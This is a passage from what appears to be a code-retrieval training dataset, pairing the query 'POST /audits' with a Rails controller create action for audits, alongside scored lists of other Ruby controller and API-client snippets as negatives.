"def show\n @auditoria = Auditoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @auditoria }\n end\n end",
"def index\n @absences = Absence.where(\"member_id = ?\",params[:member_id]).order(\"start_date DESC\").page(params[:page]).per(7)\n @member = Member.find(params[:member_id])\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absences }\n end\n end",
"def index\n @speaking_histories = SpeakingHistory.all\n end",
"def index\n @talk = Talk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk }\n end\n end",
"def index\n @talks = Talk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talks }\n end\n end",
"def index\n s = User.find(session[:user_id])\n @studies= Study.where(:user_id => s.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @studies }\n end\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def index\n @consents = Consent.all\n render json: @consents\n end",
"def alerts\n response = self.class.get(\"/#{self.class.account}/activities.xml\")\n response['alerts'].map { |alert| ScoutScout::Alert.new(alert) }\n end",
"def audit\n count_words unless audited?\n @audited = true\n end",
"def index\n @subsedes = Subsede.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subsedes }\n end\n end"
] |
[
"0.7364113",
"0.72233295",
"0.719439",
"0.6943966",
"0.6802076",
"0.6756935",
"0.670212",
"0.6689906",
"0.6683649",
"0.6499298",
"0.6444208",
"0.62354165",
"0.6169862",
"0.6126515",
"0.60289246",
"0.6023746",
"0.6009955",
"0.59787846",
"0.58859754",
"0.5877257",
"0.58609015",
"0.58190876",
"0.58143735",
"0.5699608",
"0.56403816",
"0.56287825",
"0.56148076",
"0.5609847",
"0.5545153",
"0.5517666",
"0.549757",
"0.54923886",
"0.5461605",
"0.5448718",
"0.54416823",
"0.5434616",
"0.5421597",
"0.54088396",
"0.5404191",
"0.5400622",
"0.5400622",
"0.53861696",
"0.5374791",
"0.5367214",
"0.532778",
"0.5322348",
"0.53091466",
"0.52914673",
"0.5286007",
"0.5284721",
"0.52807355",
"0.5269368",
"0.526265",
"0.52581096",
"0.52581096",
"0.5251675",
"0.5231714",
"0.52315724",
"0.52310646",
"0.5220064",
"0.521945",
"0.52155054",
"0.52127504",
"0.52079487",
"0.5203845",
"0.51998204",
"0.51997817",
"0.5190317",
"0.51902324",
"0.5189381",
"0.51879084",
"0.5185791",
"0.51852256",
"0.5180849",
"0.51690686",
"0.516451",
"0.51642686",
"0.51641315",
"0.51631546",
"0.51601607",
"0.5157406",
"0.5150384",
"0.51466984",
"0.51466984",
"0.5143266",
"0.5138584",
"0.51288354",
"0.51268274",
"0.5111749",
"0.5109079",
"0.5108883",
"0.51078945",
"0.51021165",
"0.50972307",
"0.50972307",
"0.5094989",
"0.50904757",
"0.5085856",
"0.50846785"
] |
0.72450244
|
2
|
GET /audits/1 GET /audits/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @audits = Audit.all\n respond_with @audits\n end",
"def index\n @audits = Audit.all\n end",
"def index\n @audits = Audit.all\n end",
"def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end",
"def index\n @audits = Audit.order_by({created_at: -1}).page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n end",
"def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end",
"def api_v11_audits_get(opts = {})\n api_v11_audits_get_with_http_info(opts)\n return nil\n end",
"def audits(type, object_id, file_id)\n response = @client.get(\"editor/#{type}/#{object_id}/audits/#{file_id}\")\n verify response,\n forbidden: 'You do not have permission to export the audit file',\n not_found: 'Audit file does not exist',\n internal_server_error: 'Internal server error occurred.'\n end",
"def index\n @audits_not_started = current_user.audits.where('start_date > ?',Time.now) \n @audits= current_user.audits.paginate(:page => params[:page], :per_page => 3).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n\n end",
"def report\n @audits = Audit.all\n end",
"def index\n @user_audits = UserAudit.all\n end",
"def index\n @auditions = Audition.all\n end",
"def show\n @audit = Audit.find(params[:id])\n respond_with @audit.as_json(:include => [:location, :fine_tunes, :auditors, :auditees, :paragraphs => {only: [:id, :name]}])\n end",
"def audits\n Audit::Tracking.log.audits(audit_bucket, self.id)\n end",
"def index\n @actor_auditions = ActorAudition.all\n end",
"def api_v11_audits_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_audits_get ...\"\n end\n \n # resource path\n path = \"/api/v11/audits\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'maxResults'] = opts[:'max_results'] if opts[:'max_results']\n query_params[:'resultOffset'] = opts[:'result_offset'] if opts[:'result_offset']\n query_params[:'startTime'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'endTime'] = opts[:'end_time'] if opts[:'end_time']\n query_params[:'query'] = opts[:'query'] if opts[:'query']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_audits_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def last_audit\n audits.last\n end",
"def last_audit\n audits.last\n end",
"def index\n @audiences = Audience.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audiences }\n end\n end",
"def audits criteria = {}\n $mongo[\"audits.#{self.class.name}\"].\n find(criteria.merge target: id).sort [[:at, -1]]\n end",
"def index\n # limit all queries\n @audits = query_limit_all(AUDIT, :login, :message).reverse\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @audits }\n end\n end",
"def show\n @audit = current_user.audits.find(params[:id])\n @findings= @audit.findings.paginate(:page => params[:page], :per_page => 7).order('id DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @audit }\n \n end\n end",
"def capa_pending_audits\n puts \"**************************\"\n puts params[:audit_id]\n puts \"***************************\" \n @capa_pending_findings = []\n @audit = Audit.find(params[:audit_id])\n @audit.findings.each do |finding|\n if finding.status_id == \"CAPA Pending\" || finding.status_id == \"\"\n @capa_pending_findings << finding\n end\n end\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @capa_pending_findings.to_json }\n end \n puts \"*****@capa_pending_findings*************#{@capa_pending_findings.inspect}\"\n end",
"def audit\n render :json=>@generic_file.audit\n end",
"def index\n if params[:document_id]\n @document = Document.find(params[:document_id])\n @project = @document.project \n @audits = Audit.where('document_id = ?', params[:document_id]) \n elsif @project.present?\n @audits = @project.audits\n end\n\n if params[:user_id]\n @audits = @audits.where(\"user_id = ?\", params[:user_id])\n @user = User.find(params[:user_id])\n end\n\n semantic_breadcrumb @project.name\n semantic_breadcrumb \"Audits\"\n @audits = @audits.order(sort_column + \" \" + sort_direction)\n @audits = @audits.page(params[:page])\n end",
"def aud; Settings.jwt.aud end",
"def history\n @purchase_requisition = PurchaseRequisition.find(params[:id])\n\n \n @audits=Kaminari.paginate_array(@purchase_requisition.audits.sort_by{|e| -e.id}).page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchase_requisitions }\n end \n\n end",
"def set_audible\n @audible = Audible.find(params[:id])\n end",
"def index\n @auditorios = Auditorio.all\n end",
"def grouped_audits\n audits.group_by(&:request_uuid).map { |_, audits| audits.first }\n end",
"def set_account\n @audits = Audit.find(params[:id])\n end",
"def show\n @event = EventDecorator.decorate(Event.find params[:id])\n @event_charges = EventChargeDecorator.decorate(@event.charges)\n @event_audits = {\n new: @event.owned_audits.where([\"created_at >= ?\", current_user.last_sign_in_at]),\n old: @event.owned_audits.where([\"created_at < ?\", current_user.last_sign_in_at])\n } if @event.owned_audits.present?\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"def show\n @distribution_audit = DistributionAudit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @distribution_audit }\n end\n end",
"def create\n @audit = @project.audits.build(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @project, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def back_one_audition\n current_audition = self.auditions.where(:created_at.lt => (self.current_audition.created_at)).order(created_at: :desc).first\n if current_audition.present?\n self.current_audition = current_audition\n self.save\n response = self.return_voice_hash()\n ap response\n return response\n\n end\n \n end",
"def retrieve_audits_from_s3\n [].tap do |results|\n auditable_audit = new_audit({})\n auditable_s3_key = @s3_auditor.resolve_s3_key(auditable_audit)\n results.concat(@s3_auditor.read_audits(auditable_s3_key, auditable_audit.auditable))\n\n unless @auditor.audit_associated_with.nil?\n associated_audit_attrs = { associated: @auditor.send(@auditor.audit_associated_with) }\n associated_audit = new_audit(associated_audit_attrs)\n associated_s3_key = @s3_auditor.resolve_s3_key(associated_audit)\n results.concat(@s3_auditor.read_audits(associated_s3_key, associated_audit.auditable))\n end\n end\n end",
"def api_audit\n # authorize! :api_audit, Vehicle.new\n vehicle = Vehicle.find_by_id(params[:id])\n # filter params\n days = params[:days] || \"21\"\n type = params[:type] || \"\"\n # aquacadets\n gon.notes = []\n if vehicle.present?\n gon.notes = vehicle.api_audit_notes\n .note_of_sub_type(type)\n .past_x_days(days)\n .reverse\n gon.parameters = { \"days\" => days, \"type\" => type }\n # Only needed on first load\n if request.format.html?\n gon.path = \"/vehicles/#{vehicle.id}/api-audit\"\n gon.recordName = vehicle.make_model_description\n gon.uid = vehicle.lot_num\n end\n end\n\n respond_to do |format|\n format.html { render \"shared/api_audit.html.erb\" }\n format.json { render json: { notes: gon.notes.as_json, parameters: gon.parameters } }\n end\n end",
"def index\n @captures = Capture.all\n\n render json: @captures\n end",
"def show\n @historical = Historical.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historical }\n end\n end",
"def show\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @audience }\n end\n end",
"def attendance_result\n history_id = params[\"history_id\"]\n Net::HTTP.get(URI.parse(\"#{ENV['PY_SERVER_URL']}/image_matching/history/#{history_id}\"))\n history_student = HistoryStudent.where(history_id: history_id)\n render json: history_student\n end",
"def show\n @auditoria = Auditoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @auditoria }\n end\n end",
"def index\n @traces = Trace.all\n\n render json: @traces\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def set_audition\n @audition = Audition.find(params[:id])\n end",
"def show\n @sound_roll = SoundRoll.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sound_roll }\n end\n end",
"def index\n @audit_trails = AuditTrail.all\n end",
"def index\n @historicals = @project.historical\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @historicals }\n end\n end",
"def destroy\n \n @audit = current_user.audits.find(params[:id])\n @audit.destroy\n \n UserMailer.audit_deleted_auditor(@audit,current_user).deliver\n UserMailer.audit_deleted_auditee(@audit,current_user).deliver\n respond_to do |format|\n format.html { redirect_to audits_url }\n format.json { head :no_content }\n end\n end",
"def show\n @recording_event = RecordingEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recording_event }\n end\n end",
"def audited_changes(options = {})\n audits.last.try(:latest_diff, options) || {}\n end",
"def audited_changes(options = {})\n audits.last.try(:latest_diff, options) || {}\n end",
"def index\n @audit_logs = AuditLog.all\n end",
"def index\n @auditvs = Auditv.all.page(params[:page]).per(10)\n end",
"def index\n @recorded_broadcasts = RecordedBroadcast.where(broadcast_set_id: params[:broadcast_set_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recorded_broadcasts }\n end\n end",
"def show\n semantic_breadcrumb @project.name\n semantic_breadcrumb \"Audits\", project_audits_path(@project)\n semantic_breadcrumb \"#{@audit.id}\"\n\n end",
"def index\n @api_v1_outcomes = Api::V1::Outcome.all\n end",
"def show\n @encounter = Encounter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @encounter }\n end\n end",
"def status\n return nil unless id\n resource = RESOURCE_UPDATE % { account_id: account.id }\n request = Request.new(account.client, :get, resource, params: to_params)\n Cursor.new(nil, request).to_a.select { |change| change[:tailored_audience_id] == id }\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def show\n @health_record = HealthRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @health_record }\n end\n end",
"def index\n @hour_logs = HourLog.all\n render json: @hour_logs, status: 200\n end",
"def audited?\n @audited\n end",
"def show\n @healthrecord = Healthrecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @healthrecord }\n end\n end",
"def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def last_audited_at\n v = versions.last unless versions.empty?\n v ? v.created_at : 'not audited'\n end",
"def last_audited_at\n v = versions.last unless versions.empty?\n v ? v.created_at : 'not audited'\n end",
"def audit\n conf['dashboard']['audit']\n end",
"def show\n @scripts = @project.scripts.with_note_count\n @membership = ProjectMembership.new\n @changes = @project.associated_audits.where(auditable_type: \"Script\", action: :update)\n .order(created_at: :desc)\n .paginate(page: params[:page],\n per_page: 10)\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @auditorium }\n end\n end",
"def index\n # Get history for user sorted by most recent\n @histories = current_person.user.watch_histories.includes(:video).order(updated_at: :desc)\n end",
"def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend",
"def index\n @admittings = Admitting.all\n render json: @admittings\n end",
"def show\n @absence = Absence.where(id: params[:id], user_id: params[:user_id])\n @title = \"User #{@absence.user_id} Absence\" \n respond_to do |format|\n format.html { render :file => \"absences/show\"}\n format.json { render json: @absence }\n end\n end",
"def index\n @talk = Talk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk }\n end\n end",
"def timeline\n Chirp.timeline(current_user)\n render json: @chirp\n end",
"def show\n report_id = params[:id]\n render json: Record.where(report_id: report_id)\n end",
"def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit }\n else\n format.html { render :edit }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @history_study = HistoryStudy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @history_study }\n end\n end",
"def show\n @chamado = Chamado.find(params[:id])\n\n #Traduz o tipo do chamado e seu status para string\n tipo = Chamado::CHAMADO_OPTIONS.invert[@chamado.tipochamado]\n status = Chamado::STATUS_OPTIONS.invert[@chamado.status]\n\n #Serializa o chamado\n chamado = @chamado.as_json(:except => [:tipochamado, :status])\n dtipo = { :tipochamado => tipo, :status => status }.as_json\n chamado = dtipo.merge(chamado)\n\n #Encontra o historico do chamado\n @audits = Audit.find_all_by_idchamado(params[:id])\n #Transforma o historico em json\n historico = @audits.as_json(:except => [:updated_at, :idchamado, :id])\n \n\n #Converte os valores armazenados no banco para os correspondentes nomes em\n #linguagem humana\n @audits.each do |h|\n if h.mudancas.has_key?(\"status\")\n h.mudancas[\"status\"].map!{ |j| Chamado::STATUS_OPTIONS.invert[j] }\n elsif h.mudancas.has_key?(\"tipochamado\")\n h.mudancas[\"tipochamado\"].map!{ |j| Chamado::CHAMADO_OPTIONS.invert[j] }\n end\n\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: { :chamado => chamado, :alteracoes => historico}}\n end\n end",
"def index\n @speaking_histories = SpeakingHistory.all\n end",
"def audited_user\n current_user\n end",
"def index\n r = @api.get_attendances\n response = JSON.parse(r.body)\n if r.code == 200\n @attendances = response\n else\n redirect_to login_sign_in_admin_path, alert: response['message']\n end\n # @attendances = Attendance.all\n end",
"def show\n @patient_history = PatientHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_history }\n end\n end",
"def show\n @reading_history = @user.reading_histories.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reading_history }\n end\n end",
"def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :service_key => HttpClient::Preconditions.assert_class_or_nil('service_key', opts.delete(:service_key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/watches\").with_query(query).get.map { |hash| Apidoc::Models::Watch.new(hash) }\n end",
"def show\n @experience_history = ExperienceHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @experience_history }\n end\n end",
"def index\n @heartbeats = Heartbeat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heartbeats }\n end\n end",
"def show\n @annual_stat = AnnualStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @annual_stat }\n end\n end",
"def create\n @audit = Audit.new(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @audit, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @audit }\n else\n format.html { render :new }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @history = History. all.find(params[:id])\n respond_to do |format|\n format.html\n format.json {\n render 'show', format: 'json', handlers: 'jbuilder', status: :ok\n }\n end\n end",
"def show\n @study = Study.find(params[:id])\n render json: @study\n end",
"def index\n @health_levels = HealthLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @health_levels }\n end\n end",
"def index\n @talks = Talk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talks }\n end\n end",
"def index\n @events = Event.all\n\n render json: @events, include: :talks\n end",
"def show\n @weekly_expectation = WeeklyExpectation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weekly_expectation }\n end\n end",
"def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end",
"def set_auditorio\n @auditorio = Auditorio.find(params[:id])\n end",
"def get_report(api_key, client_api_id, interval, query = \"\")\n uri = URI(API_ENDPOINT) + URI.escape(\"?api_key=#{api_key}&client_api_id=#{client_api_id}&interval=#{interval}&query=#{query}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n raise \"Server returned error #{response.code} processing your API request\" if response.code != \"200\"\n JSON.parse(response.body)\nend",
"def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end"
] |
[
"0.70631754",
"0.69209284",
"0.69209284",
"0.6917547",
"0.6843327",
"0.67088115",
"0.66736084",
"0.6651741",
"0.6501181",
"0.6455143",
"0.6343996",
"0.62900674",
"0.6148835",
"0.6115155",
"0.60926425",
"0.6089214",
"0.6001902",
"0.6001902",
"0.59414244",
"0.58673716",
"0.58200496",
"0.58152777",
"0.57361346",
"0.5735938",
"0.57318723",
"0.57295316",
"0.5718883",
"0.5706884",
"0.568374",
"0.56627494",
"0.55771136",
"0.5549907",
"0.5541491",
"0.5539473",
"0.549007",
"0.54889375",
"0.5472143",
"0.545496",
"0.5432944",
"0.5422768",
"0.5412545",
"0.54077864",
"0.5392928",
"0.53875095",
"0.53875095",
"0.5382537",
"0.5332179",
"0.53269994",
"0.53006023",
"0.52979636",
"0.52964485",
"0.52890915",
"0.52890915",
"0.52643985",
"0.5261573",
"0.5259658",
"0.52474385",
"0.5242974",
"0.5240873",
"0.5240743",
"0.51898867",
"0.5188917",
"0.516845",
"0.5168389",
"0.515311",
"0.5148007",
"0.5147078",
"0.5147078",
"0.5144484",
"0.51434976",
"0.513339",
"0.5128338",
"0.51264036",
"0.5122085",
"0.5119329",
"0.5116307",
"0.5104325",
"0.50936985",
"0.50883096",
"0.5087049",
"0.50821877",
"0.5079229",
"0.50750524",
"0.5072398",
"0.5072165",
"0.5071086",
"0.5067546",
"0.5061461",
"0.5057334",
"0.50524974",
"0.5049125",
"0.50474644",
"0.5044763",
"0.5044587",
"0.50380695",
"0.5031929",
"0.50292945",
"0.5027836",
"0.5023617",
"0.5022646",
"0.5021084"
] |
0.0
|
-1
|
POST /audits POST /audits.json
|
def create
@audit = Audit.new(audit_params)
respond_to do |format|
if @audit.save
format.html { redirect_to @audit, notice: 'Audit was successfully created.' }
format.json { render :show, status: :created, location: @audit }
else
format.html { render :new }
format.json { render json: @audit.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end",
"def create\n @audit = @project.audits.build(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @project, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def report\n @audits = Audit.all\n end",
"def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end",
"def audits(type, object_id, file_id)\n response = @client.get(\"editor/#{type}/#{object_id}/audits/#{file_id}\")\n verify response,\n forbidden: 'You do not have permission to export the audit file',\n not_found: 'Audit file does not exist',\n internal_server_error: 'Internal server error occurred.'\n end",
"def index\n @audits = Audit.all\n respond_with @audits\n end",
"def index\n @audits = Audit.all\n end",
"def index\n @audits = Audit.all\n end",
"def create\n @audit_trail = AuditTrail.new(audit_trail_params)\n\n respond_to do |format|\n if @audit_trail.save\n format.html { redirect_to @audit_trail, notice: \"Audit trail was successfully created.\" }\n format.json { render :show, status: :created, location: @audit_trail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @audit_trail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def audits\n Audit::Tracking.log.audits(audit_bucket, self.id)\n end",
"def index\n @audits = Audit.order_by({created_at: -1}).page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n end",
"def create\n @audition = Audition.new(params[:audition])\n respond_to do |format|\n if @audition.save\n format.html { redirect_to submit_result_s_auditions_path }\n format.xml { render :xml => @audition, :status => :created, :location => @audition }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @audition.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end",
"def audit_params\n params.require(:audit).permit(:name, :audit_type, :start_date, :end_date, :active, :client_id, :user_id, :questionnaire_id)\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def index\n @user_audits = UserAudit.all\n end",
"def index\n @audits_not_started = current_user.audits.where('start_date > ?',Time.now) \n @audits= current_user.audits.paginate(:page => params[:page], :per_page => 3).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n\n end",
"def capa_pending_audits\n puts \"**************************\"\n puts params[:audit_id]\n puts \"***************************\" \n @capa_pending_findings = []\n @audit = Audit.find(params[:audit_id])\n @audit.findings.each do |finding|\n if finding.status_id == \"CAPA Pending\" || finding.status_id == \"\"\n @capa_pending_findings << finding\n end\n end\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @capa_pending_findings.to_json }\n end \n puts \"*****@capa_pending_findings*************#{@capa_pending_findings.inspect}\"\n end",
"def create\n @labtech_audit = LabtechAudit.new(labtech_audit_params)\n\n respond_to do |format|\n if @labtech_audit.save\n format.html { redirect_to @labtech_audit, notice: 'Labtech audit was successfully created.' }\n format.json { render :show, status: :created, location: @labtech_audit }\n else\n format.html { render :new }\n format.json { render json: @labtech_audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @auditorio = Auditorio.new(auditorio_params)\n\n respond_to do |format|\n if @auditorio.save\n format.html { redirect_to @auditorio, notice: 'Auditorio was successfully created.' }\n format.json { render :show, status: :created, location: @auditorio }\n else\n format.html { render :new }\n format.json { render json: @auditorio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_account\n @audits = Audit.find(params[:id])\n end",
"def index\n @auditions = Audition.all\n end",
"def create\n @audit = current_user.audits.new(params[:audit])\n audit = params[:audit]\n start_date = DateTime.new(params[\"audit\"][\"start_date(1i)\"].to_i, params[\"audit\"][\"start_date(2i)\"].to_i,params[\"audit\"][\"start_date(3i)\"].to_i,\n params[\"audit\"][\"start_date(4i)\"].to_i,params[\"audit\"][\"start_date(5i)\"].to_i)\n \n end_date = DateTime.new(params[\"audit\"][\"end_date(1i)\"].to_i, params[\"audit\"][\"end_date(2i)\"].to_i,params[\"audit\"][\"end_date(3i)\"].to_i,\n params[\"audit\"][\"end_date(4i)\"].to_i,params[\"audit\"][\"end_date(5i)\"].to_i)\n @all_audits = Audit.where(\"auditor_email = ? or auditee_email = ?\",params[:audit][:auditor_email], params[:audit][:auditee_email])\n \n @all_audits.each do |audit|\n if (audit.start_date.to_i..audit.end_date.to_i).include?(start_date.to_i||end_date.to_i)\n @audit.errors[:base] << \"Auditor or auditee is already assigned, please select another date \"\n break\n end\n end\n \n respond_to do |format|\n if @audit.errors.any?\n format.html { render action: \"new\" }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n elsif @audit.save\n UserMailer.assign_audit(@audit,@audit.auditor_email,current_user).deliver\n UserMailer.assign_auditee(@audit,@audit.auditee_email,current_user).deliver\n format.html { redirect_to audits_path, notice: 'Audit was successfully created.' }\n format.json { render json: @audit, status: :created, location: @audit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def audit_params\n params.fetch(:audit, {}).permit(:expire, histories_attributes: %i[author_id status doctor_id body lab revision_date])\n end",
"def create\n @audit = Audit.unscoped.find_or_initialize_by(\n category_id: params[:category_id],\n user_id: @user.id\n )\n @audit.category_id = params[:category_id]\n @audit.user_id = @user.id\n @audit.expire = Time.zone.now + @audit.category.months.month\n @audit.status = 'created'\n @audit.histories_attributes = [status: 'created', author_id: current_user.id]\n if @audit.save\n flash.now[:success] = 'Creazione avvenuta con successo'\n render partial: 'audits/category', locals: { category: @audit.category }, status: :ok\n else\n flash.now[:error] = @audit.errors.map { |k, v| \"#{I18n.t k} #{v}\" }.join(', ')\n head status: 500\n end\n end",
"def create\n @actor_audition = ActorAudition.new(actor_audition_params)\n\n respond_to do |format|\n if @actor_audition.save\n format.html { redirect_to @actor_audition, notice: 'Actor audition was successfully created.' }\n format.json { render :show, status: :created, location: @actor_audition }\n else\n format.html { render :new }\n format.json { render json: @actor_audition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_audit\n # authorize! :api_audit, Vehicle.new\n vehicle = Vehicle.find_by_id(params[:id])\n # filter params\n days = params[:days] || \"21\"\n type = params[:type] || \"\"\n # aquacadets\n gon.notes = []\n if vehicle.present?\n gon.notes = vehicle.api_audit_notes\n .note_of_sub_type(type)\n .past_x_days(days)\n .reverse\n gon.parameters = { \"days\" => days, \"type\" => type }\n # Only needed on first load\n if request.format.html?\n gon.path = \"/vehicles/#{vehicle.id}/api-audit\"\n gon.recordName = vehicle.make_model_description\n gon.uid = vehicle.lot_num\n end\n end\n\n respond_to do |format|\n format.html { render \"shared/api_audit.html.erb\" }\n format.json { render json: { notes: gon.notes.as_json, parameters: gon.parameters } }\n end\n end",
"def auditors_params\n params.require(:auditor).permit(:name, :employee, :birth, :status)\n end",
"def set_audible\n @audible = Audible.find(params[:id])\n end",
"def audit\n count_words unless audited?\n @audited = true\n end",
